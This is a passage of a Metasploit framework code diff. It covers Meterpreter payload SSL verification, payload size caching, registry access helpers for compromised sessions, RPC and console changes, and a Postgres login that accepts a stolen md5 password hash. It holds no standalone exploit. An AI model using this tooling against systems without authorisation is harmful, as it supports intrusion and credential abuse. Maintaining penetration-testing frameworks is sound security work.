||||
|
||||
# Terminate the "list" of extensions
|
||||
dll + [0].pack('V')
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,36 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/parser/x509_certificate'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Implements SSL validation check options
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Windows::VerifySsl
|
||||
|
||||
#
|
||||
# Get the SSL hash from the certificate, if required.
|
||||
#
|
||||
def get_ssl_cert_hash(verify_cert, handler_cert)
|
||||
unless verify_cert.to_s =~ /^(t|y|1)/i
|
||||
return nil
|
||||
end
|
||||
|
||||
unless handler_cert
|
||||
raise ArgumentError, "Verifying SSL cert is enabled but no handler cert is configured"
|
||||
end
|
||||
|
||||
hash = Rex::Parser::X509Certificate.get_cert_file_hash(handler_cert)
|
||||
print_status("Meterpreter will verify SSL Certificate with SHA1 hash #{hash.unpack("H*").first}")
|
||||
hash
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -184,6 +184,7 @@ module Msf
|
|||
encoder_list.each do |encoder_mod|
|
||||
cli_print "Attempting to encode payload with #{iterations} iterations of #{encoder_mod.refname}"
|
||||
begin
|
||||
encoder_mod.available_space = @space
|
||||
return run_encoder(encoder_mod, shellcode.dup)
|
||||
rescue ::Msf::EncoderSpaceViolation => e
|
||||
cli_print "#{encoder_mod.refname} failed with #{e.message}"
|
||||
|
@ -298,9 +299,11 @@ module Msf
|
|||
end
|
||||
|
||||
payload_module.generate_simple(
|
||||
'Format' => 'raw',
|
||||
'Options' => datastore,
|
||||
'Encoder' => nil
|
||||
'Format' => 'raw',
|
||||
'Options' => datastore,
|
||||
'Encoder' => nil,
|
||||
'MaxSize' => @space,
|
||||
'DisableNops' => true
|
||||
)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -88,7 +88,7 @@ class PayloadSet < ModuleSet
|
|||
|
||||
# Cache the payload's size
|
||||
begin
|
||||
sizes[name] = p.new.size
|
||||
sizes[name] = p.cached_size || p.new.size
|
||||
# Don't cache generic payload sizes.
|
||||
rescue NoCompatiblePayloadError
|
||||
end
|
||||
|
@ -155,7 +155,7 @@ class PayloadSet < ModuleSet
|
|||
new_keys.push combined
|
||||
|
||||
# Cache the payload's size
|
||||
sizes[combined] = p.new.size
|
||||
sizes[combined] = p.cached_size || p.new.size
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -236,7 +236,7 @@ class PayloadSet < ModuleSet
|
|||
next if (handler and not p.handler_klass.ancestors.include?(handler))
|
||||
|
||||
# Check to see if the session classes match.
|
||||
next if (session and not p.session.ancestors.include?(session))
|
||||
next if (session and p.session and not p.session.ancestors.include?(session))
|
||||
|
||||
# Check for matching payload types
|
||||
next if (payload_type and p.payload_type != payload_type)
|
||||
|
|
|
@ -439,12 +439,10 @@ protected
|
|||
subkeys = []
|
||||
root_key, base_key = session.sys.registry.splitkey(key)
|
||||
perms = meterpreter_registry_perms(KEY_READ, view)
|
||||
open_key = session.sys.registry.open_key(root_key, base_key, perms)
|
||||
keys = open_key.enum_key
|
||||
keys = session.sys.registry.enum_key_direct(root_key, base_key, perms)
|
||||
keys.each { |subkey|
|
||||
subkeys << subkey
|
||||
}
|
||||
open_key.close
|
||||
return subkeys
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
return nil
|
||||
|
@ -460,12 +458,10 @@ protected
|
|||
vals = {}
|
||||
root_key, base_key = session.sys.registry.splitkey(key)
|
||||
perms = meterpreter_registry_perms(KEY_READ, view)
|
||||
open_key = session.sys.registry.open_key(root_key, base_key, perms)
|
||||
vals = open_key.enum_value
|
||||
vals = session.sys.registry.enum_value_direct(root_key, base_key, perms)
|
||||
vals.each { |val|
|
||||
values << val.name
|
||||
}
|
||||
open_key.close
|
||||
return values
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
return nil
|
||||
|
@ -480,10 +476,8 @@ protected
|
|||
value = nil
|
||||
root_key, base_key = session.sys.registry.splitkey(key)
|
||||
perms = meterpreter_registry_perms(KEY_READ, view)
|
||||
open_key = session.sys.registry.open_key(root_key, base_key, perms)
|
||||
v = open_key.query_value(valname)
|
||||
v = session.sys.registry.query_value_direct(root_key, base_key, valname, perms)
|
||||
value = v.data
|
||||
open_key.close
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
return nil
|
||||
end
|
||||
|
@ -516,9 +510,8 @@ protected
|
|||
begin
|
||||
root_key, base_key = session.sys.registry.splitkey(key)
|
||||
perms = meterpreter_registry_perms(KEY_WRITE, view)
|
||||
open_key = session.sys.registry.open_key(root_key, base_key, perms)
|
||||
open_key.set_value(valname, session.sys.registry.type2str(type), data)
|
||||
open_key.close
|
||||
session.sys.registry.set_value_direct(root_key, base_key,
|
||||
valname, session.sys.registry.type2str(type), data, perms)
|
||||
return true
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
return nil
|
||||
|
|
|
@ -31,7 +31,7 @@ class Client
|
|||
|
||||
def login(user,pass)
|
||||
res = self.call("auth.login", user, pass)
|
||||
if(not (res and res['result'] == "success"))
|
||||
unless (res && res['result'] == "success")
|
||||
raise RuntimeError, "authentication failed"
|
||||
end
|
||||
self.token = res['token']
|
||||
|
@ -41,8 +41,8 @@ class Client
|
|||
# Prepend the authentication token as the first parameter
|
||||
# of every call except auth.login. Requires the
|
||||
def call(meth, *args)
|
||||
if(meth != "auth.login")
|
||||
if(not self.token)
|
||||
unless meth == "auth.login"
|
||||
unless self.token
|
||||
raise RuntimeError, "client not authenticated"
|
||||
end
|
||||
args.unshift(self.token)
|
||||
|
@ -50,7 +50,7 @@ class Client
|
|||
|
||||
args.unshift(meth)
|
||||
|
||||
if not @cli
|
||||
unless @cli
|
||||
@cli = Rex::Proto::Http::Client.new(info[:host], info[:port], info[:context], info[:ssl], info[:ssl_version])
|
||||
@cli.set_config(
|
||||
:vhost => info[:host],
|
||||
|
@ -69,10 +69,12 @@ class Client
|
|||
res = @cli.send_recv(req)
|
||||
@cli.close
|
||||
|
||||
if res and [200, 401, 403, 500].include?(res.code)
|
||||
if res && [200, 401, 403, 500].include?(res.code)
|
||||
resp = MessagePack.unpack(res.body)
|
||||
|
||||
if resp and resp.kind_of?(::Hash) and resp['error'] == true
|
||||
# Boolean true versus truthy check required here;
|
||||
# RPC responses such as { "error" => "Here I am" } and { "error" => "" } must be accommodated.
|
||||
if resp && resp.kind_of?(::Hash) && resp['error'] == true
|
||||
raise Msf::RPC::ServerException.new(resp['error_code'] || res.code, resp['error_message'] || resp['error_string'], resp['error_class'], resp['error_backtrace'])
|
||||
end
|
||||
|
||||
|
@ -83,7 +85,7 @@ class Client
|
|||
end
|
||||
|
||||
def close
|
||||
if @cli and @cli.conn?
|
||||
if @cli && @cli.conn?
|
||||
@cli.close
|
||||
end
|
||||
@cli = nil
|
||||
|
|
|
@ -112,13 +112,13 @@ class Service
|
|||
end
|
||||
end
|
||||
|
||||
if not (req.headers["Content-Type"] and req.headers["Content-Type"] == "binary/message-pack")
|
||||
unless (req.headers["Content-Type"] && req.headers["Content-Type"] == "binary/message-pack")
|
||||
raise ArgumentError, "Invalid Content Type"
|
||||
end
|
||||
|
||||
msg = MessagePack.unpack(req.body)
|
||||
|
||||
if not (msg and msg.kind_of?(::Array) and msg.length > 0)
|
||||
unless (msg && msg.kind_of?(::Array) && msg.length > 0)
|
||||
raise ArgumentError, "Invalid Message Format"
|
||||
end
|
||||
|
||||
|
@ -126,7 +126,7 @@ class Service
|
|||
|
||||
group, funct = msg.shift.split(".", 2)
|
||||
|
||||
if not self.handlers[group]
|
||||
unless self.handlers[group]
|
||||
raise ArgumentError, "Unknown API Group: '#{group.inspect}'"
|
||||
end
|
||||
|
||||
|
@ -138,13 +138,13 @@ class Service
|
|||
mname << '_noauth'
|
||||
end
|
||||
|
||||
if not self.handlers[group].respond_to?(mname)
|
||||
unless self.handlers[group].respond_to?(mname)
|
||||
raise ArgumentError, "Unknown API Call: '#{mname.inspect}'"
|
||||
end
|
||||
|
||||
if doauth
|
||||
token = msg.shift
|
||||
if not authenticate(token)
|
||||
unless authenticate(token)
|
||||
raise ::Msf::RPC::Exception.new(401, "Invalid Authentication Token")
|
||||
end
|
||||
end
|
||||
|
@ -203,7 +203,7 @@ class Service
|
|||
stale = []
|
||||
|
||||
|
||||
if not (token and token.kind_of?(::String))
|
||||
unless (token && token.kind_of?(::String))
|
||||
return false
|
||||
end
|
||||
|
||||
|
@ -212,17 +212,17 @@ class Service
|
|||
|
||||
self.tokens.each_key do |t|
|
||||
user,ctime,mtime,perm = self.tokens[t]
|
||||
if ! perm and mtime + self.token_timeout < Time.now.to_i
|
||||
if !perm && mtime + self.token_timeout < Time.now.to_i
|
||||
stale << t
|
||||
end
|
||||
end
|
||||
|
||||
stale.each { |t| self.tokens.delete(t) }
|
||||
|
||||
if not self.tokens[token]
|
||||
unless self.tokens[token]
|
||||
|
||||
begin
|
||||
if framework.db.active and ::Mdm::ApiKey.find_by_token(token)
|
||||
if framework.db.active && ::Mdm::ApiKey.find_by_token(token)
|
||||
return true
|
||||
end
|
||||
rescue ::Exception => e
|
||||
|
|
|
@ -243,16 +243,16 @@ class Core
|
|||
|
||||
args.each do |res|
|
||||
good_res = nil
|
||||
if (File.file? res and File.readable? res)
|
||||
if ::File.exists?(res)
|
||||
good_res = res
|
||||
elsif
|
||||
# let's check to see if it's in the scripts/resource dir (like when tab completed)
|
||||
[
|
||||
::Msf::Config.script_directory + File::SEPARATOR + "resource",
|
||||
::Msf::Config.user_script_directory + File::SEPARATOR + "resource"
|
||||
::Msf::Config.script_directory + ::File::SEPARATOR + "resource",
|
||||
::Msf::Config.user_script_directory + ::File::SEPARATOR + "resource"
|
||||
].each do |dir|
|
||||
res_path = dir + File::SEPARATOR + res
|
||||
if (File.file?(res_path) and File.readable?(res_path))
|
||||
res_path = dir + ::File::SEPARATOR + res
|
||||
if ::File.exists?(res_path)
|
||||
good_res = res_path
|
||||
break
|
||||
end
|
||||
|
|
|
@ -219,12 +219,104 @@ class Db
|
|||
cmd_hosts("-h")
|
||||
end
|
||||
|
||||
def change_host_info(rws, data)
|
||||
if rws == [nil]
|
||||
print_error("In order to change the host info, you must provide a range of hosts")
|
||||
return
|
||||
end
|
||||
|
||||
rws.each do |rw|
|
||||
rw.each do |ip|
|
||||
id = framework.db.get_host(:address => ip).id
|
||||
framework.db.hosts.update(id, :info => data)
|
||||
framework.db.report_note(:host => ip, :type => 'host.info', :data => data)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def change_host_name(rws, data)
|
||||
if rws == [nil]
|
||||
print_error("In order to change the host name, you must provide a range of hosts")
|
||||
return
|
||||
end
|
||||
|
||||
rws.each do |rw|
|
||||
rw.each do |ip|
|
||||
id = framework.db.get_host(:address => ip).id
|
||||
framework.db.hosts.update(id, :name => data)
|
||||
framework.db.report_note(:host => ip, :type => 'host.name', :data => data)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def change_host_comment(rws, data)
|
||||
if rws == [nil]
|
||||
print_error("In order to change the comment, you must provide a range of hosts")
|
||||
return
|
||||
end
|
||||
|
||||
rws.each do |rw|
|
||||
rw.each do |ip|
|
||||
id = framework.db.get_host(:address => ip).id
|
||||
framework.db.hosts.update(id, :comments => data)
|
||||
framework.db.report_note(:host => ip, :type => 'host.comments', :data => data)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def add_host_tag(rws, tag_name)
|
||||
if rws == [nil]
|
||||
print_error("In order to add a tag, you must provide a range of hosts")
|
||||
return
|
||||
end
|
||||
|
||||
rws.each do |rw|
|
||||
rw.each do |ip|
|
||||
wspace = framework.db.workspace
|
||||
host = framework.db.get_host(:workspace => wspace, :address => ip)
|
||||
if host
|
||||
possible_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", wspace.id, ip, tag_name).order("tags.id DESC").limit(1)
|
||||
tag = (possible_tags.blank? ? Mdm::Tag.new : possible_tags.first)
|
||||
tag.name = tag_name
|
||||
tag.hosts = [host]
|
||||
tag.save! if tag.changed?
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def delete_host_tag(rws, tag_name)
|
||||
wspace = framework.db.workspace
|
||||
tag_ids = []
|
||||
if rws == [nil]
|
||||
found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and tags.name = ?", wspace.id, tag_name)
|
||||
found_tags.each do |t|
|
||||
tag_ids << t.id
|
||||
end
|
||||
else
|
||||
rws.each do |rw|
|
||||
rw.each do |ip|
|
||||
found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", wspace.id, ip, tag_name)
|
||||
found_tags.each do |t|
|
||||
tag_ids << t.id
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
tag_ids.each do |id|
|
||||
tag = Mdm::Tag.find_by_id(id)
|
||||
tag.hosts.delete
|
||||
tag.destroy
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_hosts(*args)
|
||||
return unless active?
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
onlyup = false
|
||||
set_rhosts = false
|
||||
mode = :search
|
||||
mode = []
|
||||
delete_count = 0
|
||||
|
||||
rhosts = []
|
||||
|
@ -233,7 +325,8 @@ class Db
|
|||
|
||||
output = nil
|
||||
default_columns = ::Mdm::Host.column_names.sort
|
||||
virtual_columns = [ 'svcs', 'vulns', 'workspace' ]
|
||||
default_columns << 'tags' # Special case
|
||||
virtual_columns = [ 'svcs', 'vulns', 'workspace', 'tags' ]
|
||||
|
||||
col_search = [ 'address', 'mac', 'name', 'os_name', 'os_flavor', 'os_sp', 'purpose', 'info', 'comments']
|
||||
|
||||
|
@ -241,9 +334,9 @@ class Db
|
|||
while (arg = args.shift)
|
||||
case arg
|
||||
when '-a','--add'
|
||||
mode = :add
|
||||
mode << :add
|
||||
when '-d','--delete'
|
||||
mode = :delete
|
||||
mode << :delete
|
||||
when '-c'
|
||||
list = args.shift
|
||||
if(!list)
|
||||
|
@ -266,7 +359,18 @@ class Db
|
|||
set_rhosts = true
|
||||
when '-S', '--search'
|
||||
search_term = /#{args.shift}/nmi
|
||||
|
||||
when '-i', '--info'
|
||||
mode << :new_info
|
||||
info_data = args.shift
|
||||
when '-n', '--name'
|
||||
mode << :new_name
|
||||
name_data = args.shift
|
||||
when '-m', '--comment'
|
||||
mode << :new_comment
|
||||
comment_data = args.shift
|
||||
when '-t', '--tag'
|
||||
mode << :tag
|
||||
tag_name = args.shift
|
||||
when '-h','--help'
|
||||
print_line "Usage: hosts [ options ] [addr1 addr2 ...]"
|
||||
print_line
|
||||
|
@ -279,6 +383,10 @@ class Db
|
|||
print_line " -o <file> Send output to a file in csv format"
|
||||
print_line " -R,--rhosts Set RHOSTS from the results of the search"
|
||||
print_line " -S,--search Search string to filter by"
|
||||
print_line " -i,--info Change the info of a host"
|
||||
print_line " -n,--name Change the name of a host"
|
||||
print_line " -m,--comment Change the comment of a host"
|
||||
print_line " -t,--tag Add or specify a tag to a range of hosts"
|
||||
print_line
|
||||
print_line "Available columns: #{default_columns.join(", ")}"
|
||||
print_line
|
||||
|
@ -297,7 +405,9 @@ class Db
|
|||
col_names = default_columns + virtual_columns
|
||||
end
|
||||
|
||||
if mode == :add
|
||||
mode << :search if mode.empty?
|
||||
|
||||
if mode == [:add]
|
||||
host_ranges.each do |range|
|
||||
range.each do |address|
|
||||
host = framework.db.find_or_create_host(:host => address)
|
||||
|
@ -317,11 +427,41 @@ class Db
|
|||
# Sentinal value meaning all
|
||||
host_ranges.push(nil) if host_ranges.empty?
|
||||
|
||||
case
|
||||
when mode == [:new_info]
|
||||
change_host_info(host_ranges, info_data)
|
||||
return
|
||||
when mode == [:new_name]
|
||||
change_host_name(host_ranges, name_data)
|
||||
return
|
||||
when mode == [:new_comment]
|
||||
change_host_comment(host_ranges, comment_data)
|
||||
return
|
||||
when mode == [:tag]
|
||||
begin
|
||||
add_host_tag(host_ranges, tag_name)
|
||||
rescue ::Exception => e
|
||||
if e.message.include?('Validation failed')
|
||||
print_error(e.message)
|
||||
else
|
||||
raise e
|
||||
end
|
||||
end
|
||||
return
|
||||
when mode.include?(:tag) && mode.include?(:delete)
|
||||
delete_host_tag(host_ranges, tag_name)
|
||||
return
|
||||
end
|
||||
|
||||
each_host_range_chunk(host_ranges) do |host_search|
|
||||
framework.db.hosts(framework.db.workspace, onlyup, host_search).each do |host|
|
||||
if search_term
|
||||
next unless host.attribute_names.any? { |a| host[a.intern].to_s.match(search_term) }
|
||||
next unless (
|
||||
host.attribute_names.any? { |a| host[a.intern].to_s.match(search_term) } ||
|
||||
!Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", framework.db.workspace.id, host.address, search_term.source).order("tags.id DESC").empty?
|
||||
)
|
||||
end
|
||||
|
||||
columns = col_names.map do |n|
|
||||
# Deal with the special cases
|
||||
if virtual_columns.include?(n)
|
||||
|
@ -329,6 +469,11 @@ class Db
|
|||
when "svcs"; host.services.length
|
||||
when "vulns"; host.vulns.length
|
||||
when "workspace"; host.workspace.name
|
||||
when "tags"
|
||||
found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ?", framework.db.workspace.id, host.address).order("tags.id DESC")
|
||||
tag_names = []
|
||||
found_tags.each { |t| tag_names << t.name }
|
||||
found_tags * ", "
|
||||
end
|
||||
# Otherwise, it's just an attribute
|
||||
else
|
||||
|
@ -341,7 +486,7 @@ class Db
|
|||
addr = (host.scope ? host.address + '%' + host.scope : host.address )
|
||||
rhosts << addr
|
||||
end
|
||||
if mode == :delete
|
||||
if mode == [:delete]
|
||||
host.destroy
|
||||
delete_count += 1
|
||||
end
|
||||
|
@ -1594,11 +1739,18 @@ class Db
|
|||
print_status("Usage: db_nmap [nmap options]")
|
||||
return
|
||||
end
|
||||
|
||||
save = false
|
||||
if args.include?("save")
|
||||
save = active?
|
||||
args.delete("save")
|
||||
arguments = []
|
||||
while (arg = args.shift)
|
||||
case arg
|
||||
when 'save'
|
||||
save = active?
|
||||
when '--help', '-h'
|
||||
cmd_db_nmap_help
|
||||
return
|
||||
else
|
||||
arguments << arg
|
||||
end
|
||||
end
|
||||
|
||||
nmap =
|
||||
|
@ -1621,15 +1773,15 @@ class Db
|
|||
# Custom function needed because cygpath breaks on 8.3 dirs
|
||||
tout = Rex::Compat.cygwin_to_win32(fd.path)
|
||||
fout = Rex::Compat.cygwin_to_win32(fo.path)
|
||||
args.push('-oX', tout)
|
||||
args.push('-oN', fout)
|
||||
arguments.push('-oX', tout)
|
||||
arguments.push('-oN', fout)
|
||||
else
|
||||
args.push('-oX', fd.path)
|
||||
args.push('-oN', fo.path)
|
||||
arguments.push('-oX', fd.path)
|
||||
arguments.push('-oN', fo.path)
|
||||
end
|
||||
|
||||
begin
|
||||
nmap_pipe = ::Open3::popen3([nmap, "nmap"], *args)
|
||||
nmap_pipe = ::Open3::popen3([nmap, 'nmap'], *arguments)
|
||||
temp_nmap_threads = []
|
||||
temp_nmap_threads << framework.threads.spawn("db_nmap-Stdout", false, nmap_pipe[1]) do |np_1|
|
||||
np_1.each_line do |nmap_out|
|
||||
|
@ -1662,6 +1814,45 @@ class Db
|
|||
}
|
||||
end
|
||||
|
||||
def cmd_db_nmap_help
|
||||
nmap =
|
||||
Rex::FileUtils.find_full_path('nmap') ||
|
||||
Rex::FileUtils.find_full_path('nmap.exe')
|
||||
|
||||
stdout, stderr = Open3.capture3([nmap, 'nmap'], '--help')
|
||||
|
||||
stdout.each_line do |out_line|
|
||||
next if out_line.strip.empty?
|
||||
print_status(out_line.strip)
|
||||
end
|
||||
|
||||
stderr.each_line do |err_line|
|
||||
next if err_line.strip.empty?
|
||||
print_error(err_line.strip)
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_db_nmap_tabs(str, words)
|
||||
nmap =
|
||||
Rex::FileUtils.find_full_path('nmap') ||
|
||||
Rex::FileUtils.find_full_path('nmap.exe')
|
||||
|
||||
stdout, stderr = Open3.capture3([nmap, 'nmap'], '--help')
|
||||
tabs = []
|
||||
stdout.each_line do |out_line|
|
||||
if out_line.strip.starts_with?('-')
|
||||
tabs.push(out_line.strip.split(':').first)
|
||||
end
|
||||
end
|
||||
|
||||
stderr.each_line do |err_line|
|
||||
next if err_line.strip.empty?
|
||||
print_error(err_line.strip)
|
||||
end
|
||||
|
||||
tabs
|
||||
end
|
||||
|
||||
#
|
||||
# Store some locally-generated data as a file, similiar to store_loot.
|
||||
#
|
||||
|
@ -1687,12 +1878,12 @@ class Db
|
|||
return if not db_check_driver
|
||||
|
||||
if framework.db.connection_established?
|
||||
cdb = ""
|
||||
::ActiveRecord::Base.connection_pool.with_connection { |conn|
|
||||
if conn.respond_to? :current_database
|
||||
cdb = ''
|
||||
::ActiveRecord::Base.connection_pool.with_connection do |conn|
|
||||
if conn.respond_to?(:current_database)
|
||||
cdb = conn.current_database
|
||||
end
|
||||
}
|
||||
end
|
||||
print_status("#{framework.db.driver} connected to #{cdb}")
|
||||
else
|
||||
print_status("#{framework.db.driver} selected, no connection")
|
||||
|
@ -1706,6 +1897,17 @@ class Db
|
|||
|
||||
def cmd_db_connect(*args)
|
||||
return if not db_check_driver
|
||||
if args[0] != '-h' && framework.db.connection_established?
|
||||
cdb = ''
|
||||
::ActiveRecord::Base.connection_pool.with_connection do |conn|
|
||||
if conn.respond_to?(:current_database)
|
||||
cdb = conn.current_database
|
||||
end
|
||||
end
|
||||
print_error("#{framework.db.driver} already connected to #{cdb}")
|
||||
print_error('Run db_disconnect first if you wish to connect to a different database')
|
||||
return
|
||||
end
|
||||
if (args[0] == "-y")
|
||||
if (args[1] and not ::File.exists? ::File.expand_path(args[1]))
|
||||
print_error("File not found")
|
||||
|
|
|
@ -235,7 +235,8 @@ class Driver < Msf::Ui::Driver
|
|||
# Process any resource scripts
|
||||
if opts['Resource'].blank?
|
||||
# None given, load the default
|
||||
load_resource(File.join(Msf::Config.config_directory, 'msfconsole.rc'))
|
||||
default_resource = ::File.join(Msf::Config.config_directory, 'msfconsole.rc')
|
||||
load_resource(default_resource) if ::File.exists?(default_resource)
|
||||
else
|
||||
opts['Resource'].each { |r|
|
||||
load_resource(r)
|
||||
|
@ -420,9 +421,10 @@ class Driver < Msf::Ui::Driver
|
|||
if path == '-'
|
||||
resource_file = $stdin.read
|
||||
path = 'stdin'
|
||||
elsif ::File.readable?(path)
|
||||
elsif ::File.exists?(path)
|
||||
resource_file = ::File.read(path)
|
||||
else
|
||||
print_error("Cannot find resource script: #{path}")
|
||||
return
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,89 @@
|
|||
# -*- coding: binary -*-
|
||||
###
|
||||
#
|
||||
#
|
||||
###
|
||||
|
||||
module Msf
|
||||
module Util
|
||||
|
||||
#
|
||||
# The class provides helper methods for verifying and updating the embedded CachedSize
|
||||
# constant within payload modules.
|
||||
#
|
||||
|
||||
class PayloadCachedSize
|
||||
|
||||
# Insert a new CachedSize value into the text of a payload module
|
||||
#
|
||||
# @param data [String] The source code of a payload module
|
||||
# @param cached_size [String] The new value for cached_size, which
|
||||
# which should be either numeric or the string :dynamic
|
||||
# @return [String]
|
||||
def self.update_cache_constant(data, cached_size)
|
||||
data.
|
||||
gsub(/^\s*CachedSize\s*=\s*(\d+|:dynamic).*/, '').
|
||||
gsub(/^(module Metasploit\d+)\s*\n/) do |m|
|
||||
"#{m.strip}\n\n CachedSize = #{cached_size}\n\n"
|
||||
end
|
||||
end
|
||||
|
||||
# Insert a new CachedSize value into a payload module file
|
||||
#
|
||||
# @param mod [Msf::Payload] The class of the payload module to update
|
||||
# @param cached_size [String] The new value for cached_size, which
|
||||
# which should be either numeric or the string :dynamic
|
||||
# @return [void]
|
||||
def self.update_cached_size(mod, cached_size)
|
||||
mod_data = ""
|
||||
|
||||
::File.open(mod.file_path, 'rb') do |fd|
|
||||
mod_data = fd.read(fd.stat.size)
|
||||
end
|
||||
|
||||
::File.open(mod.file_path, 'wb') do |fd|
|
||||
fd.write update_cache_constant(mod_data, cached_size)
|
||||
end
|
||||
end
|
||||
|
||||
# Updates the payload module specified with the current CachedSize
|
||||
#
|
||||
# @param mod [Msf::Payload] The class of the payload module to update
|
||||
# @return [void]
|
||||
def self.update_module_cached_size(mod)
|
||||
update_cached_size(mod, compute_cached_size(mod))
|
||||
end
|
||||
|
||||
# Calculates the CachedSize value for a payload module
|
||||
#
|
||||
# @param mod [Msf::Payload] The class of the payload module to update
|
||||
# @return [Fixnum]
|
||||
def self.compute_cached_size(mod)
|
||||
return ":dynamic" if is_dynamic?(mod)
|
||||
return mod.new.size
|
||||
end
|
||||
|
||||
# Determines whether a payload generates a static sized output
|
||||
#
|
||||
# @param mod [Msf::Payload] The class of the payload module to update
|
||||
# @param generation_count [Fixnum] The number of iterations to use to
|
||||
# verify that the size is static.
|
||||
# @return [Fixnum]
|
||||
def self.is_dynamic?(mod,generation_count=5)
|
||||
[*(1..generation_count)].map{|x| mod.new.size}.uniq.length != 1
|
||||
end
|
||||
|
||||
# Determines whether a payload's CachedSize is up to date
|
||||
#
|
||||
# @param mod [Msf::Payload] The class of the payload module to update
|
||||
# @return [Boolean]
|
||||
def self.is_cached_size_accurate?(mod)
|
||||
return true if mod.dynamic_size?
|
||||
return false if mod.cached_size.nil?
|
||||
mod.cached_size == mod.new.size
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -19,6 +19,9 @@ module PostgresPR
|
|||
|
||||
PROTO_VERSION = 3 << 16 #196608
|
||||
|
||||
class AuthenticationMethodMismatch < StandardError
|
||||
end
|
||||
|
||||
class Connection
|
||||
|
||||
# Allow easy access to these instance variables
|
||||
|
@ -58,7 +61,10 @@ class Connection
|
|||
@transaction_status = nil
|
||||
@params = {}
|
||||
establish_connection(uri)
|
||||
|
||||
|
||||
# Check if the password supplied is a Postgres-style md5 hash
|
||||
md5_hash_match = password.match(/^md5([a-f0-9]{32})$/)
|
||||
|
||||
@conn << StartupMessage.new(PROTO_VERSION, 'user' => user, 'database' => database).dump
|
||||
|
||||
loop do
|
||||
|
@ -67,19 +73,24 @@ class Connection
|
|||
case msg
|
||||
when AuthentificationClearTextPassword
|
||||
raise ArgumentError, "no password specified" if password.nil?
|
||||
raise AuthenticationMethodMismatch, "Server expected clear text password auth" if md5_hash_match
|
||||
@conn << PasswordMessage.new(password).dump
|
||||
|
||||
when AuthentificationCryptPassword
|
||||
raise ArgumentError, "no password specified" if password.nil?
|
||||
raise AuthenticationMethodMismatch, "Server expected crypt password auth" if md5_hash_match
|
||||
@conn << PasswordMessage.new(password.crypt(msg.salt)).dump
|
||||
|
||||
when AuthentificationMD5Password
|
||||
raise ArgumentError, "no password specified" if password.nil?
|
||||
require 'digest/md5'
|
||||
|
||||
m = Digest::MD5.hexdigest(password + user)
|
||||
if md5_hash_match
|
||||
m = md5_hash_match[1]
|
||||
else
|
||||
m = Digest::MD5.hexdigest(password + user)
|
||||
end
|
||||
m = Digest::MD5.hexdigest(m + msg.salt)
|
||||
m = 'md5' + m
|
||||
|
||||
@conn << PasswordMessage.new(m).dump
|
||||
|
||||
when AuthentificationKerberosV4, AuthentificationKerberosV5, AuthentificationSCMCredential
|
||||
|
|
|
@ -46,7 +46,7 @@ class Egghunter
|
|||
startreg = opts[:startreg]
|
||||
searchforward = opts[:searchforward]
|
||||
|
||||
raise RuntimeError, "Invalid egg string! Need #{esize} bytes." if opts[:eggtag].length != 4
|
||||
raise RuntimeError, "Invalid egg string! Need 4 bytes." if opts[:eggtag].length != 4
|
||||
marker = "0x%x" % opts[:eggtag].unpack('V').first
|
||||
|
||||
checksum = checksum_stub(payload, badchars, opts)
|
||||
|
|
|
@ -181,7 +181,8 @@ module Rex
|
|||
|
||||
data = ''
|
||||
while data.length < size_wanted
|
||||
data << @file_handler.read(size_wanted - data.length)
|
||||
# Use a 4Mb block size to avoid target memory consumption
|
||||
data << @file_handler.read([size_wanted - data.length, 2**22].min)
|
||||
end
|
||||
attribut << data
|
||||
end
|
||||
|
@ -196,8 +197,11 @@ module Rex
|
|||
#
|
||||
# return the attribute list from the MFT record
|
||||
# deal with resident and non resident attributes (but not $DATA due to performance issue)
|
||||
# if lazy = True, this function only gather essential non resident attributes
|
||||
# (INDEX_ALLOCATION). Non resident attributes can still be gathered later with
|
||||
# cluster_from_attribute_non_resident function.
|
||||
#
|
||||
def mft_record_attribute(mft_record)
|
||||
def mft_record_attribute(mft_record, lazy=true)
|
||||
attribute_list_offset = mft_record[20, 2].unpack('C')[0]
|
||||
curs = attribute_list_offset
|
||||
attribute_identifier = mft_record[curs, 4].unpack('V')[0]
|
||||
|
@ -213,10 +217,11 @@ module Rex
|
|||
res[attribute_identifier] = mft_record[curs + content_offset, content_size]
|
||||
else
|
||||
# non resident
|
||||
if attribute_identifier == DATA_ATTRIBUTE_ID
|
||||
res[attribute_identifier] = mft_record[curs, attribute_size]
|
||||
else
|
||||
if attribute_identifier == INDEX_ALLOCATION_ID or
|
||||
(!lazy and attribute_identifier != DATA_ATTRIBUTE_ID)
|
||||
res[attribute_identifier] = cluster_from_attribute_non_resident(mft_record[curs, attribute_size])
|
||||
else
|
||||
res[attribute_identifier] = mft_record[curs, attribute_size]
|
||||
end
|
||||
end
|
||||
if attribute_identifier == DATA_ATTRIBUTE_ID
|
||||
|
|
|
@ -0,0 +1,92 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'openssl'
|
||||
|
